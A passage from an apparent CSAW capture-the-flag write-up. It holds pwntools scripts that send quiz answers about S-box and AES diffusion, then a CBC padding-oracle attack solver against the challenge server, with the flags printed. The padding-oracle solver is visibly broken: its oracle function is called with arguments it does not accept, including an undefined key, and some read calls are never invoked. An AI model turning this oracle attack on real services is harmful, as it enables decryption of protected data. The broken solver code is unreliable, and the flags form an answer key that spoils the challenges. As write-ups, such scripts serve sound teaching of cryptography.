r.sendline("x8+x7+x6*x8+x5*x8+x5*x7*x8+x5*x6+x5*x6*x8+x4*x8+x4*x7+x4*x7*x8+x4*x6*x8+x4*x6*x7+x4*x5+x4*x5*x8+x4*x5*x7+x4*x5*x7*x8+x4*x5*x6+x4*x5*x6*x8+x4*x5*x6*x7+x4*x5*x6*x7*x8+x3+x3*x8+x3*x7*x8+x3*x6*x8+x3*x6*x7+x3*x6*x7*x8+x3*x5*x8+x3*x5*x7+x3*x5*x7*x8+x3*x5*x6*x8+x3*x5*x6*x7+x3*x5*x6*x7*x8+x3*x4*x8+x3*x4*x7+x3*x4*x6+x3*x4*x6*x7*x8+x3*x4*x5+x3*x4*x5*x6*x7+x3*x4*x5*x6*x7*x8+x2*x8+x2*x7*x8+x2*x6*x7+x2*x5*x8+x2*x5*x7*x8+x2*x5*x6+x2*x5*x6*x7+x2*x5*x6*x7*x8+x2*x4*x8+x2*x4*x7*x8+x2*x4*x6*x8+x2*x4*x5+x2*x4*x5*x8+x2*x4*x5*x7*x8+x2*x4*x5*x6+x2*x4*x5*x6*x7+x2*x4*x5*x6*x7*x8+x2*x3+x2*x3*x7+x2*x3*x7*x8+x2*x3*x5+x2*x3*x5*x8+x2*x3*x5*x6+x2*x3*x5*x6*x7*x8+x2*x3*x4*x6+x2*x3*x4*x6*x8+x2*x3*x4*x6*x7+x2*x3*x4*x6*x7*x8+x2*x3*x4*x5+x2*x3*x4*x5*x7+x2*x3*x4*x5*x6*x8+x1+x1*x8+x1*x7*x8+x1*x6*x8+x1*x6*x7+x1*x6*x7*x8+x1*x5*x8+x1*x5*x7+x1*x5*x6+x1*x5*x6*x8+x1*x5*x6*x7*x8+x1*x4+x1*x4*x8+x1*x4*x7+x1*x4*x6*x8+x1*x4*x6*x7+x1*x4*x6*x7*x8+x1*x4*x5*x8+x1*x4*x5*x7*x8+x1*x4*x5*x6+x1*x4*x5*x6*x8+x1*x4*x5*x6*x7*x8+x1*x3*x8+x1*x3*x7+x1*x3*x6*x7+x1*x3*x6*x7*x8+x1*x3*x5*x8+x1*x3*x5*x7+x1*x3*x5*x7*x8+x1*x3*x5*x6*x8+x1*x3*x4*x7+x1*x3*x4*x6+x1*x3*x4*x6*x7+x1*x3*x4*x6*x7*x8+x1*x3*x4*x5*x8+x1*x3*x4*x5*x7*x8+x1*x3*x4*x5*x6*x7+x1*x2+x1*x2*x8+x1*x2*x6+x1*x2*x6*x7+x1*x2*x6*x7*x8+x1*x2*x5*x7+x1*x2*x5*x7*x8+x1*x2*x5*x6*x7+x1*x2*x4+x1*x2*x4*x7*x8+x1*x2*x4*x6+x1*x2*x4*x6*x7+x1*x2*x4*x5*x7+x1*x2*x4*x5*x7*x8+x1*x2*x4*x5*x6+x1*x2*x4*x5*x6*x8+x1*x2*x4*x5*x6*x7+x1*x2*x4*x5*x6*x7*x8+x1*x2*x3*x7+x1*x2*x3*x6+x1*x2*x3*x6*x8+x1*x2*x3*x5+x1*x2*x3*x5*x8+x1*x2*x3*x5*x7+x1*x2*x3*x5*x7*x8+x1*x2*x3*x5*x6+x1*x2*x3*x5*x6*x8+x1*x2*x3*x5*x6*x7*x8+x1*x2*x3*x4+x1*x2*x3*x4*x8+x1*x2*x3*x4*x7+x1*x2*x3*x4*x7*x8+x1*x2*x3*x4*x6*x8+x1*x2*x3*x4*x5+x1*x2*x3*x4*x5*x7*x8+x1*x2*x3*x4*x5*x6+x1*x2*x3*x4*x5*x6*x8+x1*x2*x3*x4*x5*x6*x7") # Question 13 # Similar to Question 7 print ("Sending answer for question",curQuestion) curQuestion += 1 sleep(0.2) r.sendline("x1,x2,x3,x4,x5,x6,x7,x8") # Question 14 # Similar to Question 8 print ("Sending answer for question",curQuestion) curQuestion += 1 sleep(0.2) r.sendline("yes") # Question 15 # Here we get asked if sbox1 has complete diffusion. It does not, for output bit y7 is not dependent on input bit x1 print ("Sending answer for question",curQuestion) curQuestion += 1 sleep(0.2) r.sendline("no") # Question 16 # Follow up to the previous question, we are asked which output bit from sbox1 is the problem. As stated previously it's y7. print ("Sending answer for question",curQuestion) curQuestion += 1 sleep(0.2) r.sendline("y7") # Question 17 # And here we're asked what is the ANF for output bit 7 of sbox1 print ("Sending answer for question",curQuestion) curQuestion += 1 sleep(0.2) r.sendline("x7+x6+x6*x8+x5*x8+x5*x6+x4*x8+x4*x7+x4*x7*x8+x4*x6*x7+x4*x5*x6+x4*x5*x6*x8+x4*x5*x6*x7+x4*x5*x6*x7*x8+x3*x7+x3*x6+x3*x6*x7+x3*x5+x3*x5*x6+x3*x4+x3*x4*x8+x3*x4*x7+x3*x4*x6*x8+x3*x4*x6*x7*x8+x3*x4*x5*x7*x8+x3*x4*x5*x6*x8+x2*x8+x2*x7*x8+x2*x6+x2*x6*x7*x8+x2*x5*x7+x2*x5*x6+x2*x5*x6*x8+x2*x4*x8+x2*x4*x6+x2*x4*x6*x7+x2*x4*x6*x7*x8+x2*x4*x5*x8+x2*x4*x5*x7+x2*x4*x5*x6*x7+x2*x4*x5*x6*x7*x8+x2*x3*x8+x2*x3*x6*x8+x2*x3*x6*x7*x8+x2*x3*x5*x7+x2*x3*x5*x6*x8+x2*x3*x4") # Question 18 # Contonuing from the few previous questions we're asked which input bit is missing from the ANF of output bit 7 of sbox1 print ("Sending answer for question",curQuestion) curQuestion += 1 sleep(0.2) r.sendline("x1") # Question 19 # Here we get asked if sbox2 has complete diffusion print ("Sending answer for question",curQuestion) curQuestion += 1 sleep(0.2) r.sendline("yes") # Question 20 # Here we get asked if sbox3 has complete diffusion print ("Sending answer for question",curQuestion) curQuestion += 1 sleep(0.2) r.sendline("yes") # Finally the flag sleep(0.2) for i in range(5): print (r.recvline) r.interactive()
flag: "csawctf{hopefu11y_+he_know1ed9e_diffu5ed_in+o_your_6r@in5}"
AES Diffusion
Much like the previous challenge we're given a python file and a url to connecto to the challenge server. This time we're given a simulator for AES:
N_ROWS = 4 N_COLS = 4 def CyclicShift(row, shift): return row[shift:] + row[:shift] def ShiftRows(state): for row_index in range(N_ROWS): state[row_index] = CyclicShift(state[row_index], row_index) return state def BuildExpressionString(column, matrix_row): expression = "(" for (i,coefficient) in enumerate(matrix_row): term = str(coefficient) + "*" + column[i] should_insert_plus = i < len(matrix_row) - 1 expression += term if should_insert_plus: expression += " + " return expression + ")" def GetStateColumn(state, column_index): column = [] for row in state: column.append(row[column_index]) return column def MultiplyColumn(column): matrix = [ [2, 3, 1, 1], [1, 2, 3, 1], [1, 1, 2, 3], [3, 1, 1, 2] ] new_column = [] for row in matrix: new_element = BuildExpressionString(column, row) new_column.append(new_element) return new_column def MixColumns(state): new_columns = [] for column_index in range(N_COLS): column = GetStateColumn(state, column_index) new_column = MultiplyColumn(column) new_columns.append(new_column) return Transpose(new_columns) def Transpose(matrix): return [[matrix[j][i] for j in range(len(matrix))] for i in range(len(matrix[0]))] def PrettyPrint(matrix): for row in matrix: print(row) def PrettyPrint2(matrix): for row in matrix: for element in row: print(element) state = [["x0", "x4", "x8", "x12"], ["x1", "x5", "x9", "x13"], ["x2", "x6", "x10", "x14"], ["x3", "x7", "x11", "x15"]] def AESRound(state): return MixColumns(ShiftRows(state)) def AES(state, rounds): for r in range(rounds): state = AESRound(state) return state PrettyPrint(AES(state,2))
Like in the previous challenge you answer a series of questions making use of the provided script. The point of this challenge is to teach you that for AES to achieve complete diffusion both the "ShiftRows" and the "MixColumns" steps are necessary.
from pwn import * from time import sleep letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" r = remote(b"diffusion-pop-quiz.ctf.csaw.io", 5000) curQuestion = 1 # Question 1 print ("Sending answer for question",curQuestion) curQuestion += 1 sleep(0.2) r.sendline("[['x0', 'x4', 'x8', 'x12'], ['x5', 'x9', 'x13', 'x1'], ['x10', 'x14', 'x2', 'x6'], ['x15', 'x3', 'x7', 'x11']]") # Question 2 print ("Sending answer for question",curQuestion) curQuestion += 1 sleep(0.2) r.sendline("[['2*x0 + 3*x5 + 1*x10 + 1*x15', '2*x4 + 3*x9 + 1*x14 + 1*x3', '2*x8 + 3*x13 + 1*x2 + 1*x7', '2*x12 + 3*x1 + 1*x6 + 1*x11'], ['1*x0 + 2*x5 + 3*x10 + 1*x15', '1*x4 + 2*x9 + 3*x14 + 1*x3', '1*x8 + 2*x13 + 3*x2 + 1*x7', '1*x12 + 2*x1 + 3*x6 + 1*x11'], ['1*x0 + 1*x5 + 2*x10 + 3*x15', '1*x4 + 1*x9 + 2*x14 + 3*x3', '1*x8 + 1*x13 + 2*x2 + 3*x7', '1*x12 + 1*x1 + 2*x6 + 3*x11'], ['3*x0 + 1*x5 + 1*x10 + 2*x15', '3*x4 + 1*x9 + 1*x14 + 2*x3', '3*x8 + 1*x13 + 1*x2 + 2*x7', '3*x12 + 1*x1 + 1*x6 + 2*x11']]") # Question 3 print ("Sending answer for question",curQuestion) curQuestion += 1 sleep(0.2) r.sendline("x0,x5,x10,x15") # Question 4 print ("Sending answer for question",curQuestion) curQuestion += 1 sleep(0.2) r.sendline("x2,x7,x8,x13") # Question 5 print ("Sending answer for question",curQuestion) curQuestion += 1 sleep(0.2) r.sendline("no") # Question 6 print ("Sending answer for question",curQuestion) curQuestion += 1 sleep(0.2) r.sendline("12") # Question 7 print ("Sending answer for question",curQuestion) curQuestion += 1 sleep(0.2) r.sendline("x0:1,x5:1,x10:1,x15:1") # Question 8 print ("Sending answer for question",curQuestion) curQuestion += 1 sleep(0.2) r.sendline("x0:0,x1:0,x2:0,x3:0,x4:0,x5:0,x6:0,x7:0,x8:0,x9:0,x10:0,x11:0,x12:0,x13:0,x14:0,x15:0") # Question 9 print ("Sending answer for question",curQuestion) curQuestion += 1 sleep(0.2) r.sendline("x0") # Question 10 print ("Sending answer for question",curQuestion) curQuestion += 1 sleep(0.2) r.sendline("(2*(2*x0 + 3*x1 + 1*x2 + 1*x3) + 3*(1*x0 + 2*x1 + 3*x2 + 1*x3) + 1*(1*x0 + 1*x1 + 2*x2 + 3*x3) + 1*(3*x0 + 1*x1 + 1*x2 + 2*x3))") # Question 11 print ("Sending answer for question",curQuestion) curQuestion += 1 sleep(0.2) r.sendline("no") sleep(0.2) for i in range(5): print (r.recvline) r.interactive()
flag: "csawctf{1_n0w_und3r5t4nd_435_d1ffu510n}"
CBC
For the final crypto challenge we're given a ciphertext, the challenge url and the python script running on the challenge server:
from Crypto.Util.Padding import pad, unpad from Crypto.Cipher import AES import os def decrypt(txt: str) -> (str, int): try: token = bytes.fromhex(txt) c = AES.new(os.environ["AES_KEY"].encode(), AES.MODE_CBC, iv=os.environ["AES_IV"].encode()) plaintext = c.decrypt(token) unpadded = unpad(plaintext, 16) return unpadded, 1 except Exception as s: return str(s), 0 def main() -> None: while True: text = input("Please enter the ciphertext: ") text.strip() out, status = decrypt(text) if status == 1: print("Looks fine") else: print("Error...") if __name__ == "__main__": main()
Judging from the challenge name and the provided script this seems to be a straightforward CBC Padding Oracle Attack challenge (this Wikipedia article does a great job explaining it in detail). Solver:
from pwn import * import sys BLOCKSIZE = 16 def cbcDecrypt(ciphertext): ct = bytes.hex(bytes(ciphertext)) r = remote('cbc.ctf.csaw.io', 9996) r.recvuntil("Please enter the ciphertext:") r.sendline(ct) print ("[*] Sent ciphertext") result = r.recvline() print ("Decryption result:",result) if "Error..." in result: r.close() return False elif "Looks fine" in result: r.close() return True else: r.close() print ("Something went wrong while attempting to decrypt from server") sys.exit(1) def cbcPaddingOracleAttack(blocks): plaintexts = [] for p in range(16): plaintext = b"" originalPadding = bytes.fromhex(hex(p)[2:].rjust(2,"0")) for i in range(0, len(blocks)-1): chunk = b"" for j in range(0,BLOCKSIZE): curBlock = bytearray(blocks[i]) if len(chunk) != 0: tmp = BLOCKSIZE - 1 for ch in range(0, len(chunk)): curBlock[tmp] = (len(chunk)+1) ^ chunk[ch] ^ curBlock[tmp] tmp -= 1 options = [] for k in range(0,256): curBlock[len(curBlock)-1-j] = k if cbcDecrypt( bytearray(blocks[i+1]), key, curBlock): options.append(k) if len(options) == 1: chunk += chr( options[0] ^ (len(chunk)+1) ^ blocks[i][BLOCKSIZE-1-j] ).encode() else: nextChar = b"" for op in options: curChar = chr( op ^ (len(chunk)+1) ^ blocks[i][BLOCKSIZE-1-j] ).encode() if curChar == originalPadding: nextChar = curChar chunk += nextChar plaintext += chunk[::-1] plaintexts.append(plaintext) return plaintexts ct = "73ac6b9467204843d5d15c02c04b2a7e597b04c20f18d0de78512b8e06c4d684e127099a07cb7cb7b89818711a54e7ebc3d4567df35e5b5438416854f808e6e70bd7bb4a5445fba0497bdd11e7b6df0f466ea52c48bf445858c53120f957b976ec1e1a5e7c1ab6c072df8a0cbe0ba84cbd810e2a2d7ea32c317b58378b0b8bed115f9841491791ad05525e6c054a40d6f8eac2dc855964e56e51490712470ee4e68b842251a896da4f02ecc16b4209e89d90e85d4559b7b5e62f4a1f067318870451a681ca3a3144a3e39627774acc062659903db5cec74962a25eca6538000d1cc02d08c5bb9280d30cea4e586dfd05b69ac852d8d758b26aa00973e13bdc09534f300e507680e568908e9c2a366c9a90b082ea0a15ba6849deb2f27c514b82f0198202de7fa72a03befc1eeb5be6a7a17bd6fa6a97410971496909d09be2f7014f78667b0df5d44bf1b7e9437d013badc8509d62fa5722b1aeeb4c7e68e3ee627b1ef5256baba562e1f90bc627ae62e13f53878d9b7ce2bb5d0ee8de05f494be38647362468d1530d7aee8b1857747aadcfd2e43f67a9489efdd75fe986f9a9c2f686a0af020a59860153b9f646d9699b44ffae0b761d959476e960cb354f0d7264c8da1220c13b9c65cf3a1dfae00844b3db7fc4eee87185ba1e71401598d167a787a54d2d363a04daddcf27225656ef664aabf092feb59c16e39986f31a59d00ff1ae8f92347d2543d2d5b0e8af0e4e0856df775087b02dc37c1b2e15269bdd85446c9e00ff648f7de40673c4c73145537e77e452a33c2a989990473414e6694d7e94279dafefa66848373f5789d00d6260708a64cb63ce4ac2ad7ca3f8d00259fadee461070923c8dc4ceed1a439f70353ba4e8b26ad87551b24474ab34fe4c80d92acea95adb2adac69fd6965a58ed628495978a05805044a5e00831ffc07e480de9d166df626502346a82c714d52c02163512197e9f3d98f734ceee0b1de173d91a53dbce124a3d968a4e9aa1fe23e818989ae5734f1a2a2de387abd4a9a4d13ef4a47bf50725614d2fcefdd9f37e209e04f9736f2d04029eb80e837d0fe590edf2d2d7d404f1f333968e33fb2b4a2241cf5193dc4bbc0aeedc6cb200cc659691d2d2d1a3456fc8b827b245c997e4336e3e1217d15d4f0f6ee4f2c48609d1a3c53dc868e52dd2b8a11c0ac8ffa90226377a7b0aa082200f92c8258427aab57f919153c56c9dfaa479baf8bfcb65ac9e2bce451aefb2b20fef795e556fda77e2664dc36dca010ab1a1f7ee838ca11264bfa1265dd009818cbb985ce7c328cb52659a07ed09fd3244a0f2f46602816ca3db74b4fea74261d04a153c34533fb034bfe4a634fc32087290832c367a2b7943c404d7bdf15b06380c57c1f018221f478b6aefd3e63f381eb84377c141a60df7c3f64a0dec8e87d042dead5b0bdf9e97acb4fac853f1fe3780e2a007426af6e086df225f7028f2ed16cdc6e947eb08073fe1705d92359fa32b6ba17c450d8f50902437d722ef0d596f528413c8572d37f84fd0411217ad18b1e0cb21378d87b94a821bceb41ed344764c5be556a126447942d166f6a2159c8f32784f6de7390679c8c411d12b36414679b2cdb1e9848e530458fd650a27d7fc889614bedac0fc15431dddb5555de445e36153bcb1c404782dc4af105d18d4245b3aadf6ec92dee9a7186ba3857a1716bf14a41b2bc1549d9094f17e9a44767501df1c24812e6fb7c20df48d47ea627cfeac77c8dd5a6994650f8736097b7bf2f44dc403a5fea89e5e28db9eefc176c2cdb80603f00c3f7485465daa137d2b851a14208705b3fd8f8b8a3fa845385e49cdee6e0b3a7b7ad9747307d1f30743b844b313c50496f420efbff99bc00d2e8e8b42436ecbcc95060b4656656ea5566e5451114a6e850102aae33c8b7e7a90b68b9953726bcbfbd8de3ec77e131889b6847d4ed88afc73356ef22c29f1b8abee4b0811e24f4da87a25681ea0b28c74fdf6d2bb2761b2a58a1913de8506d786d66ba5116a5a033118c86aec3b400cdb213ffca2f9c5c1cff1b67d431cff97c28b6f8871a13f170f07dd8215516b2d87eb0394868685f843686995fb06b95d3a108c8d27f1ee1df604f0f747e8fad32ed1ddfb8dea3ebb81e1b32b3d28a907fe516c54084da10f12175c5930a4de473575214691d5ddb65ef41281cbcb46563eba05517045eee6fcb921f38e3523aaaf8fbd9f0918fbff3dc7f97a76968b478598af276bc3c37098484d6c96bebeadcea13bc7d99e2a7c38e39965f75cd7993fec9b3acb212ce8b86e16b74c3e4960c62308df936e9de65fe69f012519d1d2d3cb73c31a01eb8f9ea930e5e51e4d75132140899c0012d4c8a72464422232a9499cd5be1fbf45831adc04dc455a093abdc73fb40295ea175ccf5b80c982d980146d9aa67085f0c7d1f900cb28d2b4b9d053644933c40a06743b4675245f89be885b3baef2e256b240c5520d71f7fa1079fbb9ba6f89cb6b96fcb6e236f79a82089262dbd1f7c426741baee206d99c77a2eb7323fd6a42edae2290258e3c121963864c52f54bf8ffef3d216004d2e430cc0dbbfda5ec3677ce4f344eab00558fc91d9320f1dcf2ea1a40605a49700ed364d1f8992867154a72b6987d09fac38dd140d68a37a0b5a24b2789c73cd9ea8308eb05cebc0e002937ef1c99fbcfba456ab757be0d9bfa155aafc67473b85ff63cafdfa4ec0406be41d8c8fbf8c135bf9ccc388773aa47a1599febb55c0bcd5c00613dc83138e3d79534d714a4ef594d6eec533ee7c50a8e9ec76563230474f7f0da1a9d079c5f242989facaee47b556d0b4766fd581b4167029c2d732c0e189e2a37a00a54e43d850d1ba7f5ea5413bda15338783ca8a8bebe4264cdf3c4a927091a1a24c3278141db7be7f8f96873d63bdf8bf85b189de892ef228d441511eac904cf5dca290fc70d379c768116e221a120fb8e378d8e6f0bb03dd899ba32c815c22d19b2c5e4cd8d367aaefa327aa1608e53007f36911f9f215ab7fd800ba9807de83482f675cc9db7e667b52031adab70fa5dec434006f80987f1acd4b4f2f8745cb3a60a49820b6166d135bbff2c9bf7f7ff695174ced6e9eb561caf047201d71d31307a0815f23f8e27d13e99bc580e1a2470197acda11459de2ded7bde440ddee63761e168f5d3b4577bc765dcb568d1fbb237dc583817cfcf08eca76228928c15bcae6d5c4a542aaa1f14413849f199bffeab8d7271fbac7e7586aaff05f91b082f8f27069c71406a9ef81f98ba41d1fc10737a11491657df0b92e4e2fe7b83f601cb216de21cb266849e79208bcb1c0b43777b9859114b8d1b582dcc26b74566a32a44b8c44461023719f59a75f071d9e33" ctDecoded = bytes.fromhex(ct) BLOCKSIZE = 16 blocks = [] for i in range(0,len(ctDecoded),BLOCKSIZE): blocks.append(ctDecoded[i:i+BLOCKSIZE]) plaintext = cbcPaddingOracleAttack(blocks) print ("Found plaintext:",plaintext)
flag:"csawctf{I_L0ST_TR4CK_0N_WH3R3_I_W4S_G01NG_W1TH_TH15}"